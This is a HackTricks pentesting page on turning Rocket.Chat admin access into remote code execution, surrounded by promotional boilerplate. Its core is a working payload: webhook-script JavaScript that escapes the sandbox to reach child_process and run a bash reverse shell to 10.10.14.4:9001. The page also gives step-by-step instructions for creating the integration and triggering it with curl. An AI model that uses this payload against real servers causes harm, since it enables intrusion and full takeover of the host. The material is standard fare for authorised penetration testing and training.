hacktricks/network-services-pentesting/pentesting-web/rocket-chat.md

Rocket Chat

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
• Get the official PEASS & HackTricks swag
• Discover The PEASS Family, our collection of exclusive NFTs
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

{% embed url="https://websec.nl/" %}

RCE

If you are admin inside Rocket Chat you can get RCE.

• Got to Integrations and select New Integration and choose any: Incoming WebHook or Outgoing WebHook.
  • /admin/integrations/incoming

• According to the docs, both use ES2015 / ECMAScript 6 (basically JavaScript) to process the data. So lets get a rev shell for javascript like:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• Configure the WebHook (the channel and post as username must exists):

• Configure WebHook script:

• Save changes
• Get the generated WebHook URL:

• Call it with curl and you shuold receive the rev shell

{% embed url="https://websec.nl/" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!
• Get the official PEASS & HackTricks swag
• Discover The PEASS Family, our collection of exclusive NFTs
• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @carlospolopm.
• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.